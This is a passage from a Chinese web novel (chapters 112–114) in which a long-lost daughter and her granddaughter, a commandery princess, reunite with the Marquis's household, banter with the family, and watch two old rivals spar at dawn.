再走近了些 邰清心变了脸,急匆匆跑过去,摸着阮金和的脸,心疼:“这是怎么了?马车翻了?” 阮金和扯了扯嘴角:“我没事,娘,别担心” 看着他娘担心的模样,他觉得这件事还是不说为好,免得惹爹娘左右为难,总归,那人也没有下重手,也就是出出气 他是懂事大气,阮金乐就跟狗一样滚了过来,一把掀了身上衣服,嚎叫:“娘啊,你小儿子今天差点被打死了,你看看,哎哟,好疼啊,我的骨头好像断了……” 看在他这么惨的份上,放过他的宝贝吧 他们家里这么大,放还容不下他这点子东西吗? 想着,另一边又有小厮抬出几个眼熟的大箱子,阮金乐眼前一黑,直接在地上撒泼打滚 “娘啊,儿子好疼啊,心疼,心要碎了” 邰清心看得出他在使苦肉计,从小到大他都这样,但人是她的心头肉,便是知道他装的,她依旧会心疼不舍,摸着他明显青黑的嘴角,恼:“谁,谁欺负我儿?娘让你爹去好好教训人” 阮金乐巴拉巴拉:“一个疯婆子,比娘高半个头,长得是好看,但是疯得很,一来就揍我们,对了,她说她叫宋锦,娘,咱们坪阳府有这号人?不会是爹在外面招惹的小娘子吧?” 邰清心教训人的话咽了回去,一巴掌拍了过去,嗔怒:“我看你一天天才疯疯癫癫的, 长辈没个长辈样,怎么说话呢?赶紧起来,脏死了,家里才收拾了,你给我弄脏了” 阮东林黑着脸,过来一脚踢去:“滚起来,不然连着你的破烂一起去别庄住,不就是挨点揍吗?连个小辈都打不过,还好意思告状,孬货” 还小娘子,再多说两句,他给他鸟都踢出来 蠢货玩意儿 阮金乐:…… 第112章 正儿八经的郡主 清早上,宋锦照例早早起床,蹑手蹑脚打开窗子,探出大半个身子挂在外面,瞅着外面街道上的人影 在乡下时候,农人天不亮就起床,挑水、种地、洗煮、走串 忙忙碌碌停不下来 其实城里也差不多 普通的小贩一大早就挑着压弯的箩筐木桶,走街串巷地开始了一天的生计 卖饼子的、卖面汤的、卖豆腐、包子馒头…… 这是早上最好的生意 等到天亮些了,货郎、马夫、商人、游客陆续出来,东一个西一个你买我的我买你的,串联着一日又一日的生活 偶尔时候打个架,死个人的,也算不得奇怪的事 宋锦趴在窗边,看着外面街道上打群架的溜子,掏出一个坚果砸下去 “吵死了,一边打去” 底下的溜子纷纷散去 南心客栈这两日闭馆,能在里面的人非富即贵,他们可惹不起 随着话语落下,另一边的窗子跟着打开,曲茂泽的俊脸出现 他穿着银白长袍,外面搭着白披风,清俊朗逸的同时,多了几分贵气,看着就是二十上下的年轻郎 宋锦撇了撇嘴:“你以后就这副模样了?” 一个四十岁的老头,还真的老黄瓜刷新漆,装起嫩来了? 曲茂泽轻笑:“不好吗?” 宋锦白眼:“你觉得呢?” 曲茂泽撑着下巴,悠然含笑:“虽然爹也很想和我们金金一个样,但是你娘恐怕不会喜欢” 宋锦反应了几秒,绿了脸,狠狠瞪了瞪他,关上窗子回去 臭不要脸的 曲茂泽失笑,看着外面弥漫的白雾,神色一点点深了起来 自从母女俩出现,他原本的计划落了大半,但是巧而又巧的,所有的东西依旧是朝着同一个方向走去 一个更好的方向 虽然阮东林那死老头子惹人嫌,但有他的话,后面的东西就更好操作了 江南,可是他的老本营 外面那些烂事,应该是逃不过他的眼睛的 那事情就更简单了 曲茂泽轻敲窗木,眼眸闪过深思 英国公、户部尚书、袁府、于郑两氏 不够 他们按不住梁氏那个疯子,也掀不起岭南的祸乱,后面还有至少两波人 可惜,那些人太过胆小,也过于废物,只会在其他人后面藏头露尾 他摇了摇头,又想到就在隔壁的昌渡府,那里还有个他定下的儿媳 当时只是想着两人合适,哪知道一年年过去,会拖到现在 好在老二靠谱,没什么好担心的 老三,没什么说的 老四老五,两个小毛孩,当逗乐就够了 至于老大,废物玩意儿 想到上次出来指认宋锦的春鸢和夏花,他勾起唇角,敛起眸子,阴辣之下,是止不住的骄傲 他的女儿啊,以一己之力,调出那么多的妖魔鬼怪,整个都城还有谁能比得上她? …… 宋锦也就是不知道他在想什么,若是知道的话,必定来一句 那可多了去了,这边就有一个 “你昨天干什么去了?” 牛铁兰坐在床边,轻轻地梳理着头发 他们今日要去阮府一聚,住个两日,就返程回去都城。若说有什么重要的事情也没有,但是在这边呆久了,她身上的蛊出不出问题不好说,曲茂泽那边不太好 他们出来已近半月,回去算上半月,到了已经是十一月中旬,等到十二月时候,她又得种一次大蛊,拖延不得 算上来,最多也只能待个半月,没必要拖 左右已经确定人没事了,牛铁兰的心倒是静了下来,坐在床边静静梳理着头发,发出了致命的提问 随地大小坐的宋锦坐在地上的蒲团上,微微鼓嘴,眼神飘忽,屁股用力,一点点往后面挪动:“也,没什么,就出去玩了啊” 牛铁兰淡淡:“是吗?” 宋锦:“是,是啊” 玩人也是玩啊 牛铁兰瞥着她那做贼心虚的模样,就知道她昨天出去肯定没干好事,但是,也比昨天待在那里的好。 她这当娘的还是想留点面子,也给她爹留一点吧 牛铁兰没多说这事,轻轻梳着头发:“去换衣服,一会儿去你阿爷阿婆那边” 宋锦不太想动,往后一躺就躺在地上,手脚伸得直直的,瘪着嘴不说话 她记仇呢 那死老头骂她不说,还和她动手,就算也揍了他孩子,但是气哪儿出得那么快 牛铁兰看着她孩子气的模样,摇头:“快点,一会儿去了让他给你道歉” 宋锦瞬间蹦跶起来,一个滑跪扑倒这边,下巴搭在她腿上,双眼晶亮:“真的?” 牛铁兰只觉得好笑,拍了拍她的脑袋,又搓了两下,声音轻柔:“自然是真的,昨天我们金金受委屈了,手还疼不疼?娘看看” 宋锦搂着她娘的腰蹭了蹭,衣袖一掀就看得到 她过得要糙一些,手脸黑一些,但里面晒不到太阳的肌肤也白得发亮,现在上面青紫红肿的也格外明显 牛铁兰昨日还没细看,现在看着眼睛一红,低咒:“臭不要脸的死老头” 对自己外孙女都下这么狠手,她就不该这么快认人的 宋锦侧着脑袋,看着她娘心疼的模样,眼珠子转动,压下其中得意,紧紧扒拉着人,装模作样:“没事,我不疼,娘你别担心,已经上过药了” 牛铁兰抿着嘴,又捏住她的耳朵,低声:“没有下次,别拿身体斗气” 她爹的武艺高低她不清楚,但是自家闺女的,她再了解不过了,几十米的高墙都能翻来翻去,昨日那点阵仗 这孩子若真认真起来,哪儿会受伤? 宋锦鼓了鼓嘴,就听到牛铁兰又道:“娘会心疼的” 她埋着脑袋,闷闷:“我又不是故意的” 牛铁兰没和她争论,摸着她的脑袋:“行,你不是故意的,快去换衣服,一会儿给你梳头” 宋锦又哀嚎着倒下,趴在地上滚来滚来,给屋子都拖了一遍,这才起身,勉勉强强地去箱子里找自己的衣服 …… 安东侯府内 后门送东西的商贩不断,丫鬟小厮忙忙碌碌,还有雇的短工在府内挂上彩花 “过年都没这个热闹” 阮金乐坐在廊道上,看着对面站在案桌前,提笔绘画的亲爹,瞥着个嘴,很是不服:“我都不知道爹还会做风筝,他有给我们做过吗?” 那必须没有 阮金和也有些小失落,但他很快就调整过来,道:“我们是男子,不需要放风筝,爹不给我们做也很正常” 阮金乐撇嘴:“是吗?那画呢?我怎么不知道他还有一手好画技?瞧那蝴蝶,栩栩如生啊,你那年绘画启蒙,他都是找的画师吧?” 阮金和绷着脸:“你闭嘴吧,说再多我也不会和你站一起的,做长辈就要有长辈的样,别和小辈计较” 爹娘昨日就说了,他们那丢失几十年的亲姐姐找回来了,今日就要拖家带口地回来 他们是做长辈的 是舅舅 挨顿打怎么了? 替当爹的挨点打,不应该吗? 阮金和努力调整心态,深吸一口气,嘱咐:“大姐不过六七岁就走丢了,这些年肯定吃了不少苦头,爹娘心疼都来不及,不管你什么想法,这段时间态度都好点,别让人心寒” 阮金乐也没那么记仇,他就是觉得不公平,他爹一天天对他们兄弟俩多强硬啊,尤其是他,平日没少挨揍,现在闺女一回来,那就是大宝贝,又是抄家又是动手的 一把年纪,也不嫌累 他撇嘴:“我知道,不过你说,他们这过来了,还走吗?” 一段时间也就算了,若真天天这般,他还真受不了 阮金和绷着脸:“侯府本就是大姐的家,她不走也不奇怪” 阮金乐嗤了一声:“哥你就装吧” 阮金和没再理他,站起身,朝着阮东林那边走去 阮东林执着毛笔,在风筝上轻轻挥动,左右按压,一只彩蝴蝶跃然纸面,栩栩如生 许多年未曾作画,他的画技生疏了不少,但好在以前功底深厚,慢慢的找回感觉了,画出来的也一点点流畅 他看着纸上的蝴蝶,想到那些年一个人带孩子的时候,那孩子生下来身子不好,后面好不容易养壮了一些,又失去娘亲。最开始那两月,她整夜整夜的哭,都是他日夜守着哄着 这样下去三年,她也渐渐走了出来,又被人夺走 阮东林年轻时候也曾意气风发,他家境一般,但连中三元,又娶了如花似玉的妻子,生了个伶俐女儿,可惜后面,朝政复杂,他被害错过考试,妻子被夺,孩子被掳,他也危在旦夕 他一点点爬了起来 那几年的日子是那般的煎熬,他还是一点点熬了过来,立了功业,寻回妻子, 又有了新的孩子,一切看似好起来了 但是总是差上那么一块 现在那一块回来了 阮东林终于又能提起笔墨,提起当初属于文人的傲气,他看着两个孩子,摇头感慨:“你们兄弟二人,论文,老大不及我年轻时候,平平无奇,若走科考,混个文人中上,已是极限。论武,老二性子莽撞冲动,虽有小聪明,却无大将之态,挣不来侯爵,只能当个小将” 阮金和愧疚:“是孩儿无能” 阮金乐则是不服:“哪有当爹的这么说的?我日后偏要给你挣个大将军来看,我的目标,就是宋将军,他都能给自己挣爵位,我也可以,等我过两年就去漠北投奔他,一样保家卫国……” 听着是挺有抱负的,但是 听听,听听,同样是当儿子的,那狗东西的儿子一个比一个出息,他的儿子还要跑去给人打下手 他底下是没有兵还是没有将?这孩子就想往那边跑 以前因为这,他已经够心塞了,现在,一想到那东西还拱了自家闺女,连他外孙女都被按上宋家的名头 阮东林就觉得,他们的仇怨,不共戴天,这辈子都没有解决的机会 他甚至怀疑宋商是故意的 不然不早不晚,偏偏就这么半年时间 再听着阮金乐在那边夸人的话,阮东林轻轻抬手,染了黑墨的毛笔直直戳在他的脸上,重重画了一圈,塞他鼻子里 阮东林冷哼:“想都别想,过两年你就给我进天兴军,休想跑远了,就你这小胳膊小腿的,真在外面断了,你让你娘怎么办?” 邰清心连连点头:“娘不放心,阿乐听话” 阮金乐呲着牙,掏出毛笔,直接用袖子擦擦,可惜那是墨水,越擦越黑,最后还是顶着一脸的墨,嘟囔:“也不想点好的,我肯定没事” 阮东林嫌弃:“赶紧去换了衣服,重新洗漱,一会儿你们阿姐来了,都给我热络一点,听到没?本来我们侯府就不及人,到时候被嫌弃了,以后的零花都别想要来,尤其是你” 被指着的阮金乐哎哟:“爹你这说的,我那姐姐,来头还不小啊?真的假的,还能别我们侯府更威风?” 虽然他有些怀疑他爹吹牛,但是看昨日那疯婆子的派头,确实不似普通人家 阮东林看着他一脸的墨就眼睛疼,他其实不太想说这些,也觉得不重要,但是就怕这儿子抽风到时候惹了人 他闺女脾气好,就算有什么也不会多做计较,他只担心她受委屈 奈何还有个更闹腾的闺女 本来他们昨天就闹得不太愉快,万一再闹上点什么,谁知道后面那狗东西会不会挑拨什么? 阮东林还真不放心,想了想他道:“昨天揍了你们的那外甥女,是正儿八经的郡主” 他是侯爷,两个孩子是侯爷之子,在外看来确实不错,但是都没立世子,立了也没接位,说到底也就是白身 宋锦是亲封的郡主,就是让他们俩行大礼,那也合乎理解 全看她想不想折腾人了 听到这,阮金乐眼珠子快掉出来了 郡主? 就昨天那个疯婆子? 她除了漂亮了些、高了些、武艺好了些,还有什么看得出来的? 阮东林再次嘱咐强调:“她脾气不好,昨天甚至和我打了一架,我观她武艺,真全力下去,我比不过她,所以你最好给我老实点” 阮金乐:…… 所以他是不是还得感谢她昨日手下留情? 阮金乐的脸突然就又疼了起来,他立马转身跑回院子重新收拾自己,免得再次挨揍 他惹不起还躲不起吗? 非常识时务了 “这小兔崽子”阮东林看着他识时务的样子,没好气地低咒一声,再看着同样惊愕,但还是静定站着的大儿子,有些欣慰,又有些唏嘘 “后面你多看着点老二,别让他惹事,你们那外甥女,是个硬茬子” 要不是硬茬子,也不会和他没说两句话就打了起来,也不会在确定关系后,还跑来把两个舅舅揍一顿 那是就差把六亲不认四个字刻脑袋上了 惹不起,根本惹不起 阮金和见他这这副模样,心中猜疑更起,小声:“爹,您说的郡主,不会是近两月闹得风风火火的明光郡主吧?” 大衍的郡主总共就那么几位,大部分有名有姓,来历都很清楚 除了明光郡主 再说宋字,也对得上号 可要是这般的话,这事情就有些复杂了 宋家那情况…… 对于他的猜测,阮东林沉重地点了点头 阮金和咽了咽口水 这也太巧了一点 …… 两边各自收拾着,直到中午时候,侯府派来的马车来到客栈 宋锦趴在窗边边,双手直直落在外面,一动不动,脑袋上珠钗在风下叮叮当当,挂在那儿就跟个布娃娃似的 牛铁兰坐在梳妆镜前,对镜试着耳环 她这次出门,衣服不多,首饰却有好几盒,就是为了这个时候拿出来压场子,但是真到了时候,她又有些后悔带太多了,现在迟迟选不出来 牛铁兰纠结之下,去掉不少,现在还剩下三套 她转头看着宋锦:“别趴了,衣服都弄皱了,过来帮我选一下” 宋锦打着哈欠,拖着步子走了过来,一脸的生无可恋,站在牛铁兰身后,瞅着三套同样好看的翡翠玉饰,再瞅瞅她老娘一身竹青衣,选了中间的 “这个” 牛铁兰点了点头,小心地把那一套收了起来,再看向剩下的两套,继续纠结 “……” 宋锦有些郁闷:“娘,至于吗?” 牛铁兰轻轻叹气,回过头来,给她理了理腰间勒起的褶皱,随后拍拍她的胳膊:“你不懂,一边趴着吧” 宋锦伸手:“申请去楼下趴着” 牛铁兰轻声细语:“驳回,别给头发弄乱了” 宋锦一个白眼,耷着脑袋,拖着脚又走回窗边,继续发呆 她不懂,她真的不懂啊 她想跳下去 宋锦认真地比了下楼层高度,思索着不用轻功的话,她也可以下去啊,就这点高度 “噔噔噔” 屋外的敲门声及时打断了她乱七八糟的想法 “进”宋锦百无聊赖地应了一声,手抓着窗子,往后仰着大半个身子,脸上写满了无聊 曲茂泽一进来就看到她这幅模样,觉得好笑:“怎么了?” 宋锦蔫蔫的:“你问我娘吧” 牛铁兰瞥了过来,声音大了两分:“头发” 宋锦深深叹气,把脑袋收了回去,又趴回窗子上挂着,平日挺高的一人,此刻看起来轻飘飘的,好像随时都会被风吹跑 看得出她很想跑 曲茂泽失笑,摇摇头,走向牛铁兰身后,看着她身前的两套首饰,一套翠竹水滴,清雅温玉,一套玉兰珠坠,淡雅精致 他伸手拿起那翠竹珠钗,替她轻轻钗上,然后弹了弹玉兰坠子,轻笑:“就这个吧,秀雅,又少些疏离。今日团圆,就少点‘兰’吧” 他一语双关 难得找回家人,她今日是阮金玲,是玲,不是兰 而兰似难,总归不太合适 牛铁兰抿了抿嘴,抬头看着铜镜中模糊的影像,轻声:“就这个吧,你替我弄吧” 曲茂泽莞尔,手抚下青丝,轻轻捏了捏有些冰凉的耳垂:“那就恭敬不如从命了” …… 第113章 两个四五十的老头…… 安东候府在前朝就是侯府,不过原来的侯爷不做人,被阮东林带人砍了,后面他就搬了进来。封侯后他也懒得再建新府,以此为基础,进行了一些修改扩建,几十年下来,少了些以往的奢靡华贵,多了些厚重精细 侯府很大,但又很简单,其中两个院子被拆开,修建成了一个大大的演武场,周边摆放着各种武器,长枪、长刀、大斧、弓箭…… 看上面的各种痕迹就知道是经常用的 夫妻俩占正房主院,兄弟俩一人一个侧院子,留有一个待客的小院,再有一个花园,就只剩下了一个院子 锦安院 阮东林走在前面,小心翼翼地打量 牛铁兰的脸色,小声介绍:“这是锦安院,给你留的小院,里面的花草都是你娘一点点弄的,这些年一直没有外人进去住过,昨日弄得又有些赶,你们先将就住着,我们后面慢慢添” 牛铁兰没有说话 她站青石板上,看着墙边的杨槐树,早上的雾汽凝结的水珠挂在上面,在阳光下闪着碎光,花丛里的花苞轻掩,再过段时间就会重新绽放,周围挂着些风筝灯笼,细线随风轻晃 现在回想小时候的家,其实一点儿也不大,就是一个小院几间房屋,只不过那时候她太小了,显得屋子很大,墙檐很高,怎么也爬不上去,要站在人的肩上才能揪到树叶 牛铁兰扫视了一圈小院,最后落在阮东林和邰清心都有些小心翼翼的脸上,她抿了抿嘴,到嘴的过两日就走的话还是被她咽了下去 倒也没必要一来就扫兴 她嗯了一声:“挺好的,谢谢” 阮东林有些激动,又有些难受,道:“一家人哪儿说这些?走,爹再带你们去看看房间,总共有六个房间,怎么住都住得下……” 他们这次的行李不是很多,每个人也就一个箱子,往屋里一放,根本占不了什么位置 住宿也很简单,牛铁兰住主屋,宋锦住旁边,至于曲茂泽和齐铮两个 齐铮作为王爷,无亲无故和她们女眷住一起自然不合适,住侧院又差了点,住客栈那就更不像话 阮东林提议:“家里还有个客院,殿下不嫌弃的话不如住那边?也清静些” 齐铮颔首:“给您添麻烦了” “殿下客气啦”礼貌完,他再看向曲茂泽,不情不愿,阴阳怪气,“至于你,正房还有房间,就和我们挤一挤吧” 曲茂泽轻笑:“那多不好意思,您二老一把年纪了,觉浅,万一打扰到您们多不好,我就和殿下挤一个小院吧,殿下应该不会介意吧?” 齐铮:“……不介意” 您开心就好 阮东林被他这么一挤兑,脸红脖子粗,想骂人呢,又想到院子还有其他人,硬生生压了下去,皮笑肉不笑:“不要脸的玩意儿” 要不是他闺女和外孙女也在,他定要狠狠揍他一顿 一想到这狗东西占了自家闺女便宜之后,拍拍屁股十来年不管不顾,等到人‘死’了才把人找回来,阮东林心里就烧着火,憋着狠气 若是这狗东西靠谱,说不定,他早就找回他闺女了,哪会像现在这样,平白浪费十来年 他瞪向曲茂泽,宛如铜铃一般,里面全是恶意 曲茂泽面色不变,噙着笑,一身白衣,站在那儿温和端正,月霁风光,是个一眼看去难得的好儿郎,还如此年轻,又‘贴心’ 邰清心忍不住掐了掐阮东林的胳膊,让他别针对人,多好的年轻小伙啊 她闺女孩子都这么大了,身边有这么个小伙多好啊,乱挑剔什么呢。这什么金窝银窝,都比不上俊俏来得好 养眼 她冲着曲茂泽笑道:“小曲说得对,我们啊,年纪大了就是觉浅,每天起得早,尤其是孩子爹,经常早出晚归,别吵到你们” 曲茂泽:“邰姨客气了,说起觉浅,我这次出门还带了些安神香和茶,不值什么钱,您可别嫌弃” 邰清心有些意外,再看他的目光就更欢喜了:“来就来了,还带这些,多不好意思啊” 曲茂泽轻笑:“一点点小心意,您不嫌弃就好” 说着,他拿出一直挂在披风侧间的小盒子,盒子也就两个巴掌大小,一看就是珍贵的紫檀,上面的花纹都是用金丝镶嵌,锁也是纯金打造,打开之后,里面是一条条包好的香料,味道浓郁,光是闻着就让人觉得心情舒缓 礼物虽小,但是价值不菲 邰清心那叫一个丈母娘看女婿,越看越喜欢,把脸色难看的阮东林往旁边一挤,拉着阮东林问起了他的情况 是哪里的人,家里有什么人,现在在做什么,以后有什么打算…… 曲茂泽都回得有模有样 他最开始为了方便,就直接装作失忆,跟着进了都城,现在一段时间过去,都城该清理的已经清理差不多了,他又给自己换了个新的名头 岭南曲氏,一个最南边的小地方的药师,来都城遇到了盗贼落下山崖,失忆一段时间,现在又恢复了 宋锦站在一边,听着他在哪儿一本正经地瞎说,撇了撇嘴:“可真能编” 牛铁兰轻轻拍拍她的手腕:“别闹” 曲茂泽的身份,自然是不能对任何人说的,他这一改头换面,真闹出来了也不是小事。 所以即便阮东林已经猜出来了,他也没和其他人说,现在眼睁睁看着自家夫人被他蒙骗,他低咒两声,眼不见为净,走到牛铁兰旁边,拍拍她的肩膀 “玲玲,看,爹给你做的风筝,要不要玩?” 牛铁兰微微蹙眉,还没说话 宋锦一巴掌拍开他的手,没好气道:“拍什么拍,她又不是石头做的,会疼的” 阮东林讪讪收手:“玲玲,没事吧?是不是很疼?要不爹去拿点药” 牛铁兰摇了摇头:“无事” 阮东林搓着手,看着她冷淡的神色,也不知该说些什么,想了半天,憋出声道:“这些年,过得还好吗?” 牛铁兰倒也不是真的无动于衷,只是这么多年不见,她也不是小孩子了,性子也偏内敛安静,很难一下子热络起来 她抿了抿嘴,道:“挺好的,你呢?” 阮东林挠头:“还不错,最开始那几年难一些,后面运气好有了人手,建了些家业,又被圣上封了爵,在这边也算地头蛇,没什么人招惹,过得顺顺利利的。后面你娘也回来了,又有了两个小崽子,对了,阿和阿乐过来,快来见见你们大姐” 阮金和阮金乐磨磨蹭蹭走过来 兄弟俩脸型随了邰清心,五官又带着阮东林的影子,瘦瘦高高,看得出都是精神孩子,就是这脸,青一块紫一块的 牛铁兰有些意外:“脸怎么了?” 站在一旁的宋锦眼神有些飘忽,随后恶狠狠地盯着兄弟俩,凤眸里写满了威胁,她倒是看看谁敢告状 兄弟俩后背一凉,心里有些苦涩 虽然说平白升了个辈,但是这长辈可一点都不好当啊 阮金和率先开口,恭敬沉稳:“我和小弟自小练武,磕磕碰碰是常事,大姐不比见怪” 阮金乐赶紧点头:“就是就是” 这事跟他们那大外甥女没一点儿关系,不用瞎猜 真的 牛铁兰点了点头:“习武是好事,碰上事了也能躲些,这次过来得匆忙,我也没准备什么东西,这个你们收下吧” 说着,她就掏出两块金条过去 每条一两,折算下来两百两白银 作为日常走礼来说算不得贵重,但是作为红包,他们兄弟俩每月银钱 也才二两啊 兄弟俩都亮了眼睛,转头看向他们爹 阮东林嫌弃:“没出息,大姐给你们的,拿着就是了” 等后面他再补上 兄弟俩接过银钱,神色比起刚才明显欢喜了些,对她也就更好奇了 这可是和宋首辅在一起的人啊,虽然她真说起来只能算外室,但是宋商后院本就无人,他现在又‘死’了,他们的孩子是郡主,她又回了宋府,现在身边还有个小白脸,又认回侯府 想想都很传奇 牛铁兰并不在意他们好奇的打量,见眉目清正,不是那种无畏的熊孩子,也满意两分,她拍了拍宋锦的手,轻声:“这是你两个小舅舅” 两个人小归小,但确实是正儿八经的亲舅舅 宋锦撇了撇嘴,哦了一声,懒散地挥了挥手:“你们好,叫我名字就好” 阮金和阮金乐看着她眉眼的张扬,还有其中的威胁,不吱声 这谁敢叫 牛铁兰敛了敛眸子,也没强求,只是冲着两个弟弟道:“叫她金金就行” 兄弟俩对视一眼,磨磨蹭蹭之下,异口同声 阮金和:“金金” 阮金乐:“金金姐” “……” 阮金和和阮东林忍不住瞪了瞪阮金乐这小子,怂包玩意儿 宋锦噗嗤一下笑了出来,睨着怂兮兮的阮金乐,目光透着赞赏 不得不说,这小子看起来蠢蠢的,还是有些机灵在身 牛铁兰瞥了瞥她,再看看两人的伤,瞬间就明白怎么回事了,但是想到她昨天受的‘委屈’,她顿了顿,还是一个字没说 自己的孩子自己护,这当父母的要真有意见就自己说,她多这个嘴干什么? 牛铁兰又瞥了一眼一旁心大的阮东林,选择小小任性一下 反正,小孩子的事情,就该大人管嘛 她现在可不算大人 …… 时间过得很快 这边天黑得早,中午吃个饭,再逛一下,晚上出去走个小夜市,他们又早早睡下 伴随着浓雾冬风,宋锦在破风声中醒来 有些陌生的房间里,微弱的烛光晃动,外面的天还黑着,她穿着里衣起身,走到一旁开了窗子,确定了声音的方向,随意拿起披风套上,就这么披散着头发出去 外面天色黑暗,好在墙边都挂着灯笼火把,泛着微弱的灯光,让人不至于完全摸黑 宋锦披着衣服,不急不慢地走在青石板上,像是夜间的猫儿,悄无声音,让人很难察觉 她就这么绕过两个院子,来到了侯府的演武场里 这边灯火通明,四方点着大型火把,中间还立着大型火炉,火光在东风下轻晃,照亮了整个武场,也带来暖意 演武场上,阮东林赤着上身,手上拿着长刀,防守间,肩膀的肌肉凸起,像是一块块硬石,带着猛烈的重劲,朝着对面的对面的人狠狠砸去 曲茂泽依旧一身白衣,手上拿着一柄重剑,比起阮东林的壮硕,他显得有些瘦小,但是出的力道确实一点儿也不小,每一次都能稳稳接住对方的招式 刀剑相交,火花乍起,伴着一旁的跳动篝火,他们身上仿若也燃起了火气 刀刀砸下,刀刀用力 两人都动了真格,就这般力道,但凡有一个不留神,断手断脚都是小事 宋锦抱着手,缓缓走到边上,看着台上比斗的两人,嗤笑:“两个四五十的老头,倒是有劲” 齐铮:“……确实老当益壮” 尤其是阮东林,今年都五十多了,看起来也不见老意,身强体壮,还能再战二十年 曲茂泽就,不提一罢 真论起来,他们到时候还不一定谁活得更久 宋锦眯起眼:“他们俩关系倒是好” 前日曲茂泽明明什么都没说,阮东林就能认出人,今日又一早出来‘约会’ 还真是死对头活到最后都是友? 齐铮颔首:“外面都传安东候与宋首辅关系不好,但是早年宋首辅推出地改之时,安东候是最先实施的,这些年也是实行最好的,百姓开荒分地,每年赋税都比其他郡多出不少” 宋锦撇嘴:“还算有点良心” 齐铮眼中笑意闪过,垂头看着她单薄的衣服,声音也轻柔不少:“不冷吗?” 宋锦外面虽然披着厚披风,但是里面就穿着里衣,还是有些单薄。现在凌晨时候,周围雾气乍起,虽未有都城的冬日寒冷,但是那股子湿气沁骨,总觉得凉飕飕的 宋锦打了个哈欠:“还行,你呢?” 齐铮点头:“也还行” 宋锦挑着眉头,就这么抬起脑袋看着他,看的他都有些疑惑了,她侧过身用肩膀撞了撞他,调侃:“正常来说,你不应该把衣服脱给我穿吗?” 齐铮低头看着自己身上薄薄的里衣,无言以对 真要如此,那场上两人的刀剑,对着的人就该是他了 宋锦伸手摸了摸他胸前露出的结实肌肉,感受着手下的紧绷,她噗嗤一笑,收回手背在身后,就这样靠在他的肩上,斜身看着场上的两人刀光剑影地你来我往 齐铮刚刚放松下来,臀上又多了只手:…… 手是一点老实不下来啊 第114章 明日就走 “淮阳之役,你救了我一命” 长刀重重砍下,与重剑交接,碰撞出白色火光,与旁边跳跃的火光相映 阮东林紧握长刀,手上疤痕交错,其中一条贯穿大半只胳膊,胸前疤痕更甚,刀伤、箭痕、鞭印,全是那些年征战时候留下的,有几次但凡再差一点,也就没有今日的他了 他神色狰狞,长刀挑动,锋利的刀身映衬着狭长的凤眸 曲茂泽噙着笑,看起来依旧游刃有余,但手背爆起的一条条青筋,还有扩张绷紧的肩背都显示他也没有表现的那般淡然 他就是惯会装模作样罢了 这人从小就是这幅模样,看似温和实则没有半分真心,是人是物,都少不了利用几分 阮东林冷笑两声,后退两步,又猛地砸过去,阴沉:“但是,渭北一事,你杀我数十将士,这个仇,我一辈子都不会忘” 面对他的愤怒,曲茂泽只是一声轻笑:“我只杀该杀之人,看在他们以往的份上,我已经让他们死得痛快了” 阮东林暴怒:“若是没有他们,江南能迅速平定?他们犯了错,军中也自有规矩,该罚该杀,轮不到你来。你自大狂妄,薄情寡义,心狠手辣,你说,我怨你可有错?” 面对他的控诉,曲茂泽神色未变,只是谨慎地接着他的招式 万一挨上一刀,里子面子都没了 万一砍他一剑,好日子又没了 说起来,曲茂泽上一次见阮东林还是五年前,那时候他比起现在还精神不少,黑发乌眉,精神矍铄 五年过去,阮东林已五十出头了,脸上皱纹增生,白发掺杂,比起对比十来年前,苍老了不少。他早年吃了太多的苦,便是后天再是休养,骨子里的伤痛也无法抹去,尤其是左脚几次折断,平日走路还好,现在比斗下来,若是真刀实枪,他撑不过一刻钟 时间是最残酷的东西,带走安康,却带不走悲痛 曲茂泽打量着阮东林,缓缓开口:“你别这样,说得好像我俩很熟似的” 阮东林的怒意僵在脸上,眼睛瞪得宛如铜铃,随后更是爆起,手上招式变换,想把这死小子给砍死 简直气死个人 曲茂泽噙着笑,稳稳接招,声音清缓:“你也不用搞这么大阵仗,我这人,说不上好东西,也不至于利用女人,她们一个是我夫人一个是我女儿,不需要你出钱出力,该如何待她们,并不需要你来操心” 砰一声,对面的力大上三分 夜色下,阮东林的脸红得发黑,眼中燃着熊熊焰火,想要把面前的人烧死在其中 曲茂泽不急不慢,轻笑:“你生气什么?这不是实话吗?我这些年确实不知她们母女情况,多有怠慢,但以后,宋府百万家财,还有五个不怎么成器也会护着她们的小子,也勉强够意思。你又有什么?” “两个年老体弱的老头,和两个黄毛小子?” 论钱,他们宋府最不缺的就是这玩意儿 论权,安东郡又如何和都城相提并论? 论情,抱歉,他们明日就要离开 阮东林算得什么?又如何,或者说凭什么干涉他们的事? 曲茂泽心虚不了一点,他全程游刃有余,轻描淡写,可以说是底气十足,也可以说是,不屑一顾,狂妄自大 阮东林大口喘气,长刀下的手一松,把长刀重重一扔,捏着拳头就砸了上来 委实太不讲究了些 曲茂泽嘴角微微一抽,也果断扔掉重剑,接下他的硬拳,下一秒,一个扫腿横来,他后退两步,铁拳也跟着迎了过来 不比刀枪需要注意,拳肉砸下,那就没什么担心的 阮东林全力过来,曲茂泽淡定不起来了,他本就不怎么擅拳法,又不能真揍回去,只能不断退让,半退间,硬生生挨了两圈 局势反了过来 宋锦远远看着,打了个哈欠:“他怎么跟蚂蚱一样?” 两个人刀剑相向的时候还有些看头,拳打脚踢了,一个冲一个让,没点意思。 这打架就得像她之前一样嘛,直接迎上,拳拳到肉 齐铮垂下眸子,余光就是她毛茸茸的脑袋。她靠在他的肩上,乌黑的秀发顺直,有几缕顺着领口贴在胸口处,有些刺痒,他紧绷着身子,声音低沉 “曲叔他,应该不擅近战” 曲茂泽内力深厚,行迹诡谲,一看就擅长轻功和暗杀,相比起拳脚相加,他是一招毙命的那种,真到了危机时候,他定是胜者。 但是这般直面对打,又不能动真格,他的弱势非常明显 宋锦也看了出来,她啧了一声,嫌弃:“废物” 她本来还以为能看他把那老头打趴下呢,现在这般,无聊得很,还不如烤火了 两个人早早挪了位置,靠在这边火堆旁边,焰火猛烈,驱散了冬日凉寒,让他们即便穿着单薄,不运内力也不觉寒冷 宋锦手指微动,转过脑袋,狭长的凤眸盯着齐铮:“喂,我要烤火,松手” 她两只手背在身后,被他紧紧扣着,动弹不得 齐铮低头看着她,一言不发,无动于衷,双手继续扣着 宋锦又侧了侧头,嘀咕:“我和你说,你这是耍流氓,知道吗?小心我喊人了” 这一喊,那边两个都得偃旗息鼓,转移目标 齐铮静静地看着她,漆黑的眸子里透着藏不住的无奈,好一会儿,低声:“你不闹,我就松开” 宋锦一个白眼:“我又不是小孩子,快点,好冷啊” 说着,她跺了跺脚 她出来就披着个披风,领子系着,下面绳带松垮,确实透风 